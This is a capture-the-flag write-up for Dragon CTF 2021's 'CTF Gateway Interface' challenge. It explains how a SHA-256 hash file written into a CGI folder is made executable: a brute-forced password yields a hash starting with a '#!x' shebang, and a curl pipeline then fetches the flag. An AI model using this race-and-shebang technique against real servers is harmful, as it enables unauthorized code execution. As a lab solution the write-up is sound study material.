Problem description
This is the problem entitled “CTF Gateway Interface” from Dragon CTF 2021.
You are given a web interface to a server that supports CGI and a generic password prompt. The details of CGI aren’t too important; it just provides a framework for running server-side scripts to generate web content.
Entering a password triggers the following sequence:
- The
startAuth.cgi
script is run with the given password, returning a session ID. - One second later, the
authResult.cgi
script is run with the session ID from the previous step. - An authentication success or failure message is shown. (This isn’t important to the challenge.)
The goal is to run the script named x
in the same folder as the other scripts.
The server explicitly prevents you from running it directly.
Figuring out a plan
The first script takes the password, salts it with a provided string,
SHA-256-hashes it, and writes the hash as raw bytes, rather than a hex string,
to the script folder under the name session_[session ID]
. The second script
reads the hash file and deletes it, after a delay of one second.
This means that there’s a window of one second where we can execute the hash
file as a script. If we can make it execute x
, then we’ll get the flag.
So the problem becomes: how do we generate a raw binary hash that can do this?
What doesn’t work
We could try making our hash file a symlink, but there’s no way to do that by only writing to the file.
We could try making a minimal executable that makes a system call, but this article claims that the smallest possible ELF executable is 45 bytes, which is larger than our 32-byte hash. In any case, it’d be nearly impossible to craft a hash with the required bytes.
What does work
There’s a clue in the provided sample x
script:
#!/usr/bin/python3
print("On the server this would be an executable that outputs the flag.")
Namely, the shebang operator is used to run /usr/bin/python3
. It turns out
that
relative paths
are supported, meaning if we can make our hash file begin with #!x
, we can
make it execute x
. However, we also need to make sure the fourth byte is
either a space or a null byte, which prevents the other bytes from interfering.
Otherwise, the server will try running a script named x[bunch of random
bytes]
, which won’t work.
Thus, we can test strings using something like the following:
import hashlib
def test(s):
string = f"SaltyMcSaltFace{s}".encode()
sha = hashlib.sha256(string).hexdigest()
if sha.startswith("232178") and (sha[6] == "0" or sha[6] == "2") and \
sha[7] == "0":
print("good", s, sha)
I tried this with integers and eventually found 1017424411
, which gives this
hash file:
00000000 23 21 78 00 75 c1 52 b4 cb 17 4d b0 eb a1 50 74 |#!x.u.R...M...Pt|
00000010 62 54 c5 25 cb 73 09 cd 92 92 5f b4 37 19 3f 0a |bT.%.s...._.7.?.|
00000020
Running this locally executed the x
script in the same folder, so this is what
we want.
Putting it all together
We just need to:
- Run
startAuth.cgi
with the password from above, saving the returned session ID - Run
session_[session ID]
with the given session ID - Read the output
Using a terminal (because I’m lazy and didn’t want to write a Python script):
$ curl http://ctfgatewayinterface.hackable.software:8888/cgi-bin/startAuth.cgi?password=1017424411 2>/dev/null |
> jq '.sid' |
> xargs -I{} curl --http0.9 "http://ctfgatewayinterface.hackable.software:8888/cgi-bin/session_{}"
DrgnS{valisMadeMeChangeTheFlagPfff}